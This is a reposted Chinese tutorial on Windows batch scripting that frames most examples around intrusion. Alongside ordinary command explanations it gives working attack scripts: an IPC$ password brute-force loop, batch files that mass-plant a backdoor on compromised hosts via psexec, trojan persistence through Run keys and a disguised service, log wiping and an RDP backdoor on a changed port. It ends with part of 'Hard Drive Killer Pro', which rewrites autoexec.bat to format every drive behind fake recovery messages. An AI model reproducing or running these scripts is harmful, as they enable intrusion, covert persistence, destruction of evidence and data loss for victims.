转: Windows 批处理大全

2023-10-26

批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批 处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到 的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。

            一.简单批处理内部命令简介
        
            1.Echo 命令
            打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
            语法
            echo [{on|off}] [message]
            Sample:@echo off / echo hello world
            在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

            2.@ 命令
            表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
            Sample:@echo off
            @echo Now initializing the program,please wait a minite...
            @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)

            3.Goto 命令
            指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
            语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
            Sample:
            if {%1}=={} goto noparms
            if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
            @Rem check parameters if null show usage
            :noparms
            echo Usage: monitor.bat ServerIP PortNumber
            goto end
            标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

            4.Rem 命令
            注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
            Rem Message
            Sample:@Rem Here is the descr1ption.

            5.Pause 命令
            运行 Pause 命令时,将显示下面的消息:
            Press any key to continue . . .
            Sample:
            @echo off
            :begin
            copy a:*.* d:back
            echo Please put a new disk into driver A
            pause
            goto begin
            在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按我饧 绦 怼?

            6.Call 命令
            从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
            语法
            call [Drive:][Path] FileName [BatchParameters] [:label [arguments]
            参数
            [Drive:}[Path] FileName
            指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

            7.start 命令
            调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
            入侵常用参数:
            MIN 开始时窗口最小化
            SEPARATE 在分开的空间内开始 16 位 Windows 程序
            HIGH 在 HIGH 优先级类别开始应用程序
            REALTIME 在 REALTIME 优先级类别开始应用程序
            WAIT 启动应用程序并等候它结束
            parameters 这些为传送到命令/程序的参数
            执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
            8.choice 命令
            choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
            如: choice /c:dme defrag,mem,end
            将显示
            defrag,mem,end[D,M,E]?
            Sample:
            Sample.bat的内容如下:
            @echo off
            choice /c:dme defrag,mem,end
            if errorlevel 3 goto defrag (应先判断数值最高的错误码)
            if errorlevel 2 goto mem
            if errotlevel 1 goto end

            :defrag
            c:dosdefrag
            goto end
            :mem
            mem
            goto end
            :end
            echo good bye

            此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都 以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。

            9.If 命令

            if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
            1、if "参数" == "字符串"  待执行的命令
            参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
            如if "%1"=="a" format a:
            if {%1}=={} goto noparms
            if {%2}=={} goto noparms

            2、if exist 文件名  待执行的命令
            如果有指定的文件,则条件成立,运行命令,否则运行下一句。
            如if exist config.sys edit config.sys

            3、if errorlevel / if not errorlevel 数字  待执行的命令
            如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
            如if errorlevel 2 goto x2  
            DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。

            10.for 命令
            for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
            在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable

            for {%variable|%%variable} in (set) do command [ CommandLineOptions]
            %variable 指定一个单一字母可替换的参数。
            (set) 指定一个或一组文件。可以使用通配符。
            command 指定对每个文件执行的命令。
            command-parameters 为特定命令指定参数或命令行开关。
            在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I

            如果命令扩展名被启用,下列额外的 FOR 命令格式会受到支持:

            FOR /D %variable IN (set) DO command [command-parameters]

            如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。

            FOR /R [drive:]path] %variable IN (set) DO command [command-

            检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。

            FOR /L %variable IN (start,step,end) DO command [command-para

            该集表示以增量形式从开始到结束的一个数字序列。
            因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
            序列 (5 4 3 2 1)。

            FOR /F ["options"] %variable IN (file-set) DO command
            FOR /F ["options"] %variable IN ("string") DO command
            FOR /F ["options"] %variable IN ('command') DO command

            或者,如果有 usebackq 选项:

            FOR /F ["options"] %variable IN (file-set) DO command
            FOR /F ["options"] %variable IN ("string") DO command
            FOR /F ["options"] %variable IN ('command') DO command

filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前,每份文件都已被打开、读取并经过处理。处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符 号字符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 "options"参数替代默认解析操作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为:

           eol=c - 指一个行注释字符的结尾(就一个)
           skip=n - 指在文件开始时忽略的行数。
           delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
           tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的格式为一个范围。通过 nth 符号指定 m符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。
           usebackq - 指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。

           sample1:
           FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

           会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会被理解成是用作定义某个要分析的字符串的。

           %i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或'Z' 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;同时不能有 52 个以上都在使用中。

           您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。

           最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:

           FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

           会枚举当前环境中的环境变量名称。

           另外,FOR 变量参照的替换已被增强。您现在可以使用下列选项语法:

           ~I - 删除任何引号("),扩充 %I
           %~fI - 将 %I 扩充到一个完全合格的路径名
           %~dI - 仅将 %I 扩充到一个驱动器号
           %~pI - 仅将 %I 扩充到一个路径
           %~nI - 仅将 %I 扩充到一个文件名
           %~xI - 仅将 %I 扩充到一个文件扩展名
           %~sI - 扩充的路径只含有短名
           %~aI - 将 %I 扩充到文件的文件属性
           %~tI - 将 %I 扩充到文件的日期/时间
           %~zI - 将 %I 扩充到文件的大小
           %~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个完全合格的名称。如果环境变量未被定义,或者没有找到文件,此组合键会扩充空字符串

           可以组合修饰符来得到多重结果:

           %~dpI - 仅将 %I 扩充到一个驱动器号和路径
           %~nxI - 仅将 %I 扩充到一个文件名和扩展名
           %~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
           %~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充到找到的第一个驱动器号和路径。
           %~ftzaI - 将 %I 扩充到类似输出线路的 DIR

           在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。

           以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。

           sample2:

           利用For命令来实现对一台目标Win2k主机的暴力密码破解。
           我们用net use /ipipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
           最主要的命令是一条:for /f i% in (dict.txt) do net use /ipipc$ "i%" /u:"administrator"
           用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
           for /f i%% in (dict.txt) do net use /ipipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:ok.txt ,这样就ko了。

           sample3:

           你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。

           主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
           @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
           tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
           而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
           delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
           代码雏形:
           --------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
           @echo off
           @if "%1"=="" goto usage
           @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
           @goto end
           :usage
           @echo run this batch in dos modle.or just double-click it.
           :end
           --------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------


           ------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
           @net use /%1ipc$ %3 /u:"%2"
           @if errorlevel 1 goto failed
           @echo Trying to establish the IPC$ connection …………OK
           @copy windrv32.exe/%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
           @psexec /%1 c:winntsystem32windrv32.exe
           @psexec /%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
           :failed
           @echo Sorry can not connected to the victim.
           ----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
           这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
           尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.

  二.如何在批处理文件中使用参数
        
           批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
           sample1:fomat.bat
           @echo off
           if "%1"=="a" format a:
           :format
           @format a:/q/u/auotset
           @echo please insert another disk to driver A.
           @pause
           @goto fomat
           这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^
           sample2:
           当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。
           @echo off
           @net use /1%ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。
           @if errorlevel 1 echo connection failed
           怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.

           三.如何使用组合命令(Compound Command)

           1.&

           Usage:第一条命令 & 第二条命令 [& 第三条命令...]

           用这种方法可以同时执行多条命令,而不管命令是否执行成功

           Sample:
           C:>dir z: & dir c:Ex4rch
           The system cannot find the path specified.
           Volume in drive C has no label.
           Volume Serial Number is 0078-59FB

           Directory of c:Ex4rch

           2002-05-14 23:51 <DIR> .
           2002-05-14 23:51 <DIR> ..
           2002-05-14 23:51 14 sometips.gif

           2.&&

           Usage:第一条命令 && 第二条命令 [&& 第三条命令...]

           用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;

           Sample:
           C:>dir z: && dir c:Ex4rch
           The system cannot find the path specified.

           C:>dir c:Ex4rch && dir z:
           Volume in drive C has no label.
           Volume Serial Number is 0078-59FB

           Directory of c:Ex4rch

           2002-05-14 23:55 <DIR> .
           2002-05-14 23:55 <DIR> ..
           2002-05-14 23:55 14 sometips.gif
           1 File(s) 14 bytes
           2 Dir(s) 768,671,744 bytes free
           The system cannot find the path specified.

           在做备份的时候可能会用到这种命令会比较简单,如:
           dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:backup
           如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)

           3.||

           Usage:第一条命令 || 第二条命令 [|| 第三条命令...]

           用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

           Sample:
           C:Ex4rch>dir sometips.gif || del sometips.gif
           Volume in drive C has no label.
           Volume Serial Number is 0078-59FB

           Directory of C:Ex4rch

           2002-05-14 23:55 14 sometips.gif
           1 File(s) 14 bytes
           0 Dir(s) 768,696,320 bytes free

           组合命令使用的例子:
           sample:
           @copy trojan.exe /%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

           四、管道命令的使用

           1.| 命令
           Usage:第一条命令 | 第二条命令 [| 第三条命令...]
           将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。

           sample:
           time /t>>D:IP.log
           netstat -n -p tcp|find ":3389">>D:IP.log
           start Explorer
           看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。

           2.>、>>输出重定向命令
           将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。

           sample1:
           echo hello world>c:hello.txt (stupid example?)

           sample2:
           时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:
           运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
           这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,
           日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.
           这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:
           CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能 发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如 果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。

           3.< 、>& 、<&
           < 从文件中而不是从键盘中读入命令输入。
           >& 将一个句柄的输出写入到另一个句柄的输入中。
           <& 从一个句柄读取输入并将其写入到另一个句柄输出中。
           这些并不常用,也就不多做介绍。

五.如何用批处理文件来操作注册表

           在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后 门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操 作注册表.(我们可以用批处理来生成一个REG文件)
           关于注册表的操作,常见的是创建、修改、删除。

           1.创建
           创建分为两种,一种是创建子项(Subkey)

           我们创建一个文件,内容如下:

           Windows Registry Editor Version 5.00

           [HKEY_LOCAL_MACHINESOFTWAREMicrosofthacker]

           然后执行该脚本,你就已经在HKEY_LOCAL_MACHINESOFTWAREMicrosoft下创建了一个名字为“hacker”的子项。

           另一种是创建一个项目名称
           那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:

           Windows Registry Editor Version 5.00

           [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
           "Invader"="Ex4rch"
           "Door"=C:/WINNT/system32/door.exe
           "Autodos"=dword:02

           这样就在[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下
           新建了:Invader、door、about这三个项目
           Invader的类型是“String Value”
           door的类型是“REG SZ Value”
           Autodos的类型是“DWORD Value”

           2.修改
           修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。

           3.删除
           我们首先来说说删除一个项目名称,我们创建一个如下的文件:

           Windows Registry Editor Version 5.00

           [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
           "Ex4rch"=-

           执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]下的"Ex4rch"就被删除了;

           我们再看看删除一个子项,我们创建一个如下的脚本:

           Windows Registry Editor Version 5.00

           [-HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]

           执行该脚本,[HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]就已经被删除了。

           相信看到这里,.reg文件你基本已经掌握了。那么现在的目标就是用批处理来创建特定内容的.reg文件了,记得我们前面说道的利用重定向符号可以很容易地创建特定类型的文件。

           samlpe1:如上面的那个例子,如想生成如下注册表文件
           Windows Registry Editor Version 5.00

           [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]
           "Invader"="Ex4rch"
           "door"=hex:255
           "Autodos"=dword:000000128
           只需要这样:
           @echo Windows Registry Editor Version 5.00>>Sample.reg

           @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun]>Sample.reg
           @echo "Invader"="Ex4rch">>Sample.reg
           @echo "door"=5>>C:/WINNT/system32/door.exe>>Sample.reg
           @echo "Autodos"=dword:02>>Sample.reg

           samlpe2:
           我们现在在使用一些比较老的木马时,可能会在注册表的 [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun(Runonce、 Runservices、Runexec)]下生成一个键值用来实现木马的自启动.但是这样很容易暴露木马程序的路径,从而导致木马被查杀,相对地若是将 木马程序注册为系统服务则相对安全一些.下面以配置好地IRC木马DSNX为例(名为windrv32.exe)
           @start windrv32.exe
           @attrib +h +r windrv32.exe
           @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun] >>patch.dll
           @echo "windsnx "=- >>patch.dll
           @sc.exe create Windriversrv type= kernel start= auto displayname= WindowsDriver binpath= c:winntsystem32windrv32.exe
           @regedit /s patch.dll
           @delete patch.dll

           @REM [删除DSNXDE在注册表中的启动项,用sc.exe将之注册为系统关键性服务的同时将其属性设为隐藏和只读,并config为自启动]
           @REM 这样不是更安全^_^.

           六.精彩实例放送
        
           1.删除win2k/xp系统默认共享的批处理
           ------------------------ cut here then save as .bat or .cmd file ---------------------------

           @echo preparing to delete all the default shares.when ready pres any key.
           @pause
           @echo off

           :Rem check parameters if null show usage.
           if {%1}=={} goto :Usage

           :Rem code start.
           echo.
           echo ------------------------------------------------------
           echo.
           echo Now deleting all the default shares.
           echo.
           net share %1$ /delete
           net share %2$ /delete
           net share %3$ /delete
           net share %4$ /delete
           net share %5$ /delete
           net share %6$ /delete
           net share %7$ /delete
           net share %8$ /delete
           net share %9$ /delete
           net stop Server
           net start Server
           echo.
           echo All the shares have been deleteed
           echo.
           echo ------------------------------------------------------
           echo.
           echo Now modify the registry to change the system default properties.
           echo.
           echo Now creating the registry file
           echo Windows Registry Editor Version 5.00> c:delshare.reg
           echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters]>> c:delshare.reg
           echo "AutoShareWks"=dword:00000000>> c:delshare.reg
           echo "AutoShareServer"=dword:00000000>> c:delshare.reg
           echo Nowing using the registry file to chang the system default properties.
           regedit /s c:delshare.reg
           echo Deleting the temprotarily files.
           del c:delshare.reg
           goto :END

           :Usage
           echo.
           echo ------------------------------------------------------
           echo.
           echo ☆ A example for batch file ☆
           echo ☆ [Use batch file to change the sysytem share properties.] ☆
           echo.
           echo Author:Ex4rch
           echo Mail:Ex4rch@hotmail.com QQ:1672602
           echo.
           echo Error:Not enough parameters
           echo.
           echo ☆ Please enter the share disk you wanna delete ☆
           echo.
           echo For instance,to delete the default shares:
           echo delshare c d e ipc admin print
           echo.
           echo If the disklable is not as C: D: E: ,Please chang it youself.
           echo.
           echo example:
           echo If locak disklable are C: D: E: X: Y: Z: ,you should chang the command into :
           echo delshare c d e x y z ipc admin print
           echo.
           echo *** you can delete nine shares once in a useing ***
           echo.
           echo ------------------------------------------------------
           goto :EOF

           :END
           echo.
           echo ------------------------------------------------------
           echo.
           echo OK,delshare.bat has deleted all the share you assigned.
           echo.Any questions ,feel free to mail toEx4rch@hotmail.com.
           echo
           echo.
           echo ------------------------------------------------------
           echo.

           :EOF
           echo end of the batch file
           ------------------------ cut here then save as .bat or .cmd file ---------------------------

           2.全面加固系统(给肉鸡打补丁)的批处理文件
           ------------------------ cut here then save as .bat or .cmd file ---------------------------

           @echo Windows Registry Editor Version 5.00 >patch.dll
           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServiceslanmanserverparameters] >>patch.dll

           @echo "AutoShareServer"=dword:00000000 >>patch.dll
           @echo "AutoShareWks"=dword:00000000 >>patch.dll
           @REM [禁止共享]

           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlLsa] >>patch.dll
           @echo "restrictanonymous"=dword:00000001 >>patch.dll
           @REM [禁止匿名登录]

           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesNetBTParameters] >>patch.dll
           @echo "SMBDeviceEnabled"=dword:00000000 >>patch.dll
           @REM [禁止及文件访问和打印共享]

           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices@REMoteRegistry] >>patch.dll
           @echo "Start"=dword:00000004 >>patch.dll
           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSchedule] >>patch.dll
           @echo "Start"=dword:00000004 >>patch.dll
           @echo [HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionWinlogon] >>patch.dll
           @echo "ShutdownWithoutLogon"="0" >>patch.dll
           @REM [禁止登录前关机]

           @echo "DontDisplayLastUserName"="1" >>patch.dll
           @REM [禁止显示前一个登录用户名称]
           @regedit /s patch.dll

           ------------------------ cut here then save as .bat or .cmd file ---------------------------

           下面命令是清除肉鸡所有日志,禁止一些危险的服务,并修改肉鸡的terminnal service留跳后路。
           @regedit /s patch.dll
           @net stop w3svc
           @net stop event log
           @del c:winntsystem32logfilesw3svc1*.* /f /q
           @del c:winntsystem32logfilesw3svc2*.* /f /q
           @del c:winntsystem32config*.event /f /q
           @del c:winntsystem32dtclog*.* /f /q
           @del c:winnt*.txt /f /q
           @del c:winnt*.log /f /q
           @net start w3svc
           @net start event log
           @rem [删除日志]


           @net stop lanmanserver /y
           @net stop Schedule /y
           @net stop RemoteRegistry /y
           @del patch.dll
           @echo The server has been patched,Have fun.
           @del patch.bat
           @REM [禁止一些危险的服务。]

           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp] >>patch.dll
           @echo "PortNumber"=dword:00002010 >>patch.dll
           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal ServerWdsrdpwdTdstcp >>patch.dll
           @echo "PortNumber"=dword:00002012 >>patch.dll
           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesTermDD] >>patch.dll
           @echo "Start"=dword:00000002 >>patch.dll
           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesSecuService] >>patch.dll
           @echo "Start"=dword:00000002 >>patch.dll
           @echo "ErrorControl"=dword:00000001 >>patch.dll
           @echo "ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00, >>patch.dll
           @echo 74,00,25,00,5c,00,53,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,65, >>patch.dll
           @echo 00,76,00,65,00,6e,00,74,00,6c,00,6f,00,67,00,2e,00,65,00,78,00,65,00,00,00 >>patch.dll
           @echo "ObjectName"="LocalSystem" >>patch.dll
           @echo "Type"=dword:00000010 >>patch.dll
           @echo "Descr1ption"="Keep record of the program and windows' message。" >>patch.dll
           @echo "DisplayName"="Microsoft EventLog" >>patch.dll
           @echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicestermservice] >>patch.dll
           @echo "Start"=dword:00000004 >>patch.dll
           @copy c:winntsystem32termsrv.exe c:winntsystem32eventlog.exe
           @REM [修改3389连接,端口为8210(十六进制为00002012),名称为Microsoft EventLog,留条后路]

3.Hard Drive Killer Pro Version 4.0(玩批处理到这个水平真的不容易了。)
           ------------------------ cut here then save as .bat or .cmd file ---------------------------
           @echo off
           rem This program is dedecated to a very special person that does not want to be named.
           :start
           cls
           echo PLEASE WAIT WHILE PROGRAM LOADS . . .
           call attrib -r -h c:autoexec.bat >nul
           echo @echo off >c:autoexec.bat
           echo call format c: /q /u /autoSample >nul >>c:autoexec.bat
           call attrib +r +h c:autoexec.bat >nul
           rem Drive checking and assigning the valid drives to the drive variable.

           set drive=
           set alldrive=c d e f g h i j k l m n o p q r s t u v w x y z

           rem code insertion for Drive Checking takes place here.
           rem drivechk.bat is the file name under the root directory.
           rem As far as the drive detection and drive variable settings, don't worry about how it
           rem works, it's d*amn to complicated for the average or even the expert batch programmer.
           rem Except for Tom Lavedas.

           echo @echo off >drivechk.bat
           echo @prompt %%%%comspec%%%% /f /c vol %%%%1: $b find "Vol" > nul >{t}.bat
           %comspec% /e:2048 /c {t}.bat >>drivechk.bat
           del {t}.bat
           echo if errorlevel 1 goto enddc >>drivechk.bat

           cls
           echo PLEASE WAIT WHILE PROGRAM LOADS . . .

           rem When errorlevel is 1, then the above is not true, if 0, then it's true.
           rem Opposite of binary rules. If 0, it will elaps to the next command.

           echo @prompt %%%%comspec%%%% /f /c dir %%%%1:./ad/w/-p $b find "bytes" > nul >{t}.bat
           %comspec% /e:2048 /c {t}.bat >>drivechk.bat
           del {t}.bat
           echo if errorlevel 1 goto enddc >>drivechk.bat

           cls
           echo PLEASE WAIT WHILE PROGRAM LOADS . . .

           rem if errorlevel is 1, then the drive specified is a removable media drive - not ready.
           rem if errorlevel is 0, then it will elaps to the next command.

           echo @prompt dir %%%%1:./ad/w/-p $b find " 0 bytes free" > nul >{t}.bat
           %comspec% /e:2048 /c {t}.bat >>drivechk.bat
           del {t}.bat
           echo if errorlevel 1 set drive=%%drive%% %%1 >>drivechk.bat

           cls
           echo PLEASE WAIT WHILE PROGRAM LOADS . . .

           rem if it's errorlevel 1, then the specified drive is a hard or floppy drive.
           rem if it's not errorlevel 1, then the specified drive is a CD-ROM drive.

           echo :enddc >>drivechk.bat

           rem Drive checking insertion ends here. "enddc" stands for "end dDRIVE cHECKING".

           rem Now we will use the program drivechk.bat to attain valid drive information.

           :Sampledrv

           for %%a in (%alldrive%) do call drivechk.bat %%a >nul
           del drivechk.bat >nul
           if %drive.==. set drive=c

           :form_del
           call attrib -r -h c:autoexec.bat >nul
           echo @echo off >c:autoexec.bat
           echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
           echo for %%%%a in (%drive%) do call format %%%%a: /q /u /autoSample >nul >>c:autoexec.bat
           echo cls >>c:autoexec.bat
           echo echo Loading Windows, please wait while Microsoft Windows recovers your system . . . >>c:autoexec.bat
